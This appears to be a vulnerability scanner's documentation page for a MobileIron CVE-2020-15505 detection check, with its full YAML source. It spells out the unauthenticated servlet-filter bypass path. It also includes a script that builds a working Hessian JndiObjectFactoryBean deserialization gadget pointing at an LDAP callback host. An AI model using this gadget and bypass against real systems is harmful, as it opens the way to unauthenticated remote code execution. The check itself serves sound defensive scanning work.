MobileIron — 1 vulnerability check

noctis ships 1 vulnerability check for MobileIron, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

MobileIron Core/Connector unauthenticated Hessian deserialization RCE

CVECVE-2020-15505
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match, tcp_open, tcp_send, tcp_close, wait_oob · highest QoD 97
Feedtests/vulnerabilities/mobileiron/CVE-2020-15505.yaml

The MobileIron `/mifs/.;/services/LogService` Hessian endpoint is reachable without authentication through a servlet security-filter bypass (CVE-2020-15505). A Hessian-serialized JndiObjectFactoryBean gadget carrying an attacker LDAP URL is deserialized and triggers an outbound JNDI lookup (confirmed out-of-band, QoD 97); without OOB, the unauthenticated endpoint is confirmed by a benign reflected per-run marker (QoD 75). The OOB payload's only effect is a benign callback — no code execution, file or network side effect beyond the lookup.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /mifs/.;/services/LogService?probe={{probe.marker}}
  3. HTTP(S) request GET /mifs/?probe={{probe.marker}}
  4. Checks vuln_resp.body for NOCTIS[0-9a-f]{32} → finding QoD 75: MobileIron unauthenticated Hessian LogService endpoint exposed (CVE-2020-15505)
  5. Parses / computes the next value with a Rhai script
  6. Opens a persistent TCP/TLS socket
  7. Sends a binary frame on the open socket
  8. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: MobileIron unauthenticated Hessian deserialization RCE confirmed (CVE-2020-15505)

References:

Feed source — tests/vulnerabilities/mobileiron/CVE-2020-15505.yaml
# MobileIron Core/Connector unauthenticated Hessian-deserialization RCE.
#
# CVE-2020-15505 is an unauthenticated RCE in MobileIron Core & Connector
# (<= 10.6) / Sentry (<= 9.8). The sink is a Hessian deserialization endpoint
# reachable through a Java servlet security-filter bypass: a request to
# `/mifs/.;/services/LogService` is seen by Tomcat as the valid LogService
# path, while the security filter matches the `/mifs/` prefix and fails open,
# so the deserialization endpoint is reached without authentication. Public
# exploitation posts a Hessian-serialized gadget (e.g. a Spring
# JndiObjectFactoryBean whose jndiName is an attacker LDAP URL) that, when
# deserialized, triggers an outbound JNDI lookup to attacker-controlled
# infrastructure — the primitive that is then escalated to code execution.
#
# Two detection methods, different QoD:
#
#   1. Inert exposure reflection (QoD 75 — response analysis, no OOB)
#      Sends a benign per-run marker (NO serialized object) on the bypass path
#      and confirms it is reflected only there, not on a normal path and not by
#      a patched instance. No deserialization is triggered. This is the
#      non-OOB fallback and the branch exercised on the standard hosts.
#
#   2. Real-exploitation OOB callback (QoD 97 — confirmed deserialization)
#      Sends a genuine Hessian-serialized JndiObjectFactoryBean gadget on the
#      unauthenticated bypass path whose jndiName is
#      ldap://{{oob_host}}:{{oob_port}}/{{oob_token}}. A vulnerable target
#      deserializes it and performs the outbound lookup, which lands on the
#      noctis OOB server. The payload's ONLY effect is that benign beacon — no
#      command is run, nothing is written, nothing is read back. Guarded by
#      `oob_enabled`, so it is skipped unless --oob is configured.
uid: 713a951d-73f1-4fa6-ac0d-69b75fc92199
name: "MobileIron Core/Connector unauthenticated Hessian deserialization RCE"
description: |
  The MobileIron `/mifs/.;/services/LogService` Hessian endpoint is reachable
  without authentication through a servlet security-filter bypass
  (CVE-2020-15505). A Hessian-serialized JndiObjectFactoryBean gadget carrying
  an attacker LDAP URL is deserialized and triggers an outbound JNDI lookup
  (confirmed out-of-band, QoD 97); without OOB, the unauthenticated endpoint is
  confirmed by a benign reflected per-run marker (QoD 75). The OOB payload's
  only effect is a benign callback — no code execution, file or network side
  effect beyond the lookup.
cves: [CVE-2020-15505]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags:
  - mobileiron
  - ivanti
  - hessian
  - deserialization
  - rce
  - intrusive
  - oob
  - kev
services:
  - http
  - https
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-15505"
  - "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
  - "https://blog.orange.tw/posts/2020-09-mobileiron-mdm-rce/"

steps:
  # ── Method 1: inert exposure reflection (QoD 75, no OOB) ──────────────────
  # Mint a per-run marker: NOCTIS + 32 hex chars. Reused in both requests and
  # in the gating condition, so it is stable within a run but random across
  # runs — a server returning a constant marker will not match it.
  - id: mint-marker
    action: script
    store_as: probe
    code: |
      #{ marker: "NOCTIS" + rand_hex(16) }

  # Benign probe to the unauthenticated bypass path, carrying the marker as a
  # query parameter. No Hessian/serialized body is sent. An exposed instance
  # reaches the fails-open endpoint and reflects the marker; a patched instance
  # blocks the request. The `.;/` segment is a literal path segment (not a
  # traversal), preserved by reqwest, so http_request is safe here.
  - id: logservice-probe
    action: http_request
    method: GET
    path: "/mifs/.;/services/LogService?probe={{probe.marker}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: vuln_resp

  # Control: a normal /mifs/ path with the same marker. A correct server does
  # NOT reflect the marker here; a server that echoes everything would, and is
  # thereby excluded by the gate below.
  - id: control-probe
    action: http_request
    method: GET
    path: "/mifs/?probe={{probe.marker}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: ctrl_resp

  # Finding only when: the bypass path returned 200, it reflected THIS run's
  # marker, and the control path did NOT. All three must hold together.
  - id: exposure-match
    action: match
    source: vuln_resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "vuln_resp.status == 200 && stridx(vuln_resp.body, probe.marker) >= 0 && stridx(ctrl_resp.body, probe.marker) < 0"
    on_match:
      finding:
        title: "MobileIron unauthenticated Hessian LogService endpoint exposed (CVE-2020-15505)"
        description: "The MobileIron /mifs/.;/services/LogService Hessian deserialization endpoint is reachable without authentication through the servlet security-filter bypass. This is the unauthenticated RCE sink of CVE-2020-15505. Confirmed inert (no serialized object sent); configure --oob to confirm deserialization out-of-band."
        remediation: "Upgrade MobileIron Core/Connector to 10.7.0.0 or later (Sentry 9.8.0 or later) per the vendor advisory, and restrict access to the management interface."
        confidence_delta: 0.45
        qod: 75
        evidence: "Bypass path /mifs/.;/services/LogService returned {{vuln_resp.status}} and reflected the per-run marker; control path did not."

  # ── Method 2: real-exploitation OOB callback (QoD 97) ─────────────────────
  # Steps below are skipped unless --oob is configured (oob_enabled == false).
  #
  # Build a genuine Hessian 2.0 serialized gadget: a typed map whose class is a
  # Spring JndiObjectFactoryBean and whose jndiName field is the attacker LDAP
  # URL pointing at the noctis OOB server. This is the real CVE-2020-15505
  # deserialization vector. Its only effect on a vulnerable target is the JNDI
  # lookup (the OOB beacon) — no command, no file, no exfil, no DoS.
  - id: build-hessian-gadget
    action: script
    condition: "oob_enabled"
    store_as: hess_req
    code: |
      // Hessian 2.0 final-chunk string: 'S'(0x53) + u16be(len) + utf8 bytes.
      let s_jndi = "53" + p16be(strlen("jndiName")) + hexstr("jndiName");
      let s_rref = "53" + p16be(strlen("resourceRef")) + hexstr("resourceRef");
      let s_true = "53" + p16be(strlen("true")) + hexstr("true");
      let cls = "org.springframework.beans.factory.config.JndiObjectFactoryBean";
      let s_cls = "53" + p16be(strlen(cls)) + hexstr(cls);
      // The attacker-controlled JNDI target: the OOB beacon destination.
      let url = "ldap://" + oob_host + ":" + oob_port.to_string() + "/" + oob_token;
      let s_url = "53" + p16be(strlen(url)) + hexstr(url);
      // Typed map: 'M'(0x4d) <type> (<key><value>)* 'Z'(0x5a).
      let body = "4d" + s_cls + s_jndi + s_url + s_rref + s_true + "5a";
      let bodylen = strlen(body) / 2;
      // Raw unauthenticated HTTP POST on the fails-open bypass path.
      let head = "POST /mifs/.;/services/LogService HTTP/1.1\r\n"
        + "Host: " + target_host + ":" + port.to_string() + "\r\n"
        + "User-Agent: Apache-HttpClient/4.5 (Java/1.8.0)\r\n"
        + "Content-Type: application/x-hessian\r\n"
        + "Content-Length: " + bodylen.to_string() + "\r\n"
        + "Connection: close\r\n\r\n";
      hexstr(head) + body

  - id: open-sink
    action: tcp_open
    handle: sink
    port: "{{port}}"
    timeout_secs: 10
    condition: "oob_enabled"
    store_as: sink_conn

  - id: send-gadget
    action: tcp_send
    handle: sink
    condition: "oob_enabled && sink_conn.connected == true"
    send_hex: "{{hess_req}}"
    timeout_secs: 10
    store_as: gadget_resp

  - id: close-sink
    action: tcp_close
    handle: sink
    condition: "oob_enabled"

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    store_as: oob_result
    condition: "oob_enabled"
    on_success:
      finding:
        title: "MobileIron unauthenticated Hessian deserialization RCE confirmed (CVE-2020-15505)"
        description: "A Hessian-serialized JndiObjectFactoryBean gadget posted to the unauthenticated /mifs/.;/services/LogService bypass path was deserialized by the target and triggered an outbound JNDI lookup to the noctis OOB server, confirming unauthenticated RCE (CVE-2020-15505). The payload's only effect was the benign out-of-band beacon."
        remediation: "Upgrade MobileIron Core/Connector to 10.7.0.0 or later (Sentry 9.8.0 or later) per the vendor advisory, and restrict access to the management interface."
        confidence_delta: 0.65   # 0.30 + 0.65 = 0.95
        qod: 97
        evidence: "OOB callback received after posting the Hessian JNDI gadget: {{oob_result.body}}"
      stop: true

View these feeds on GitHub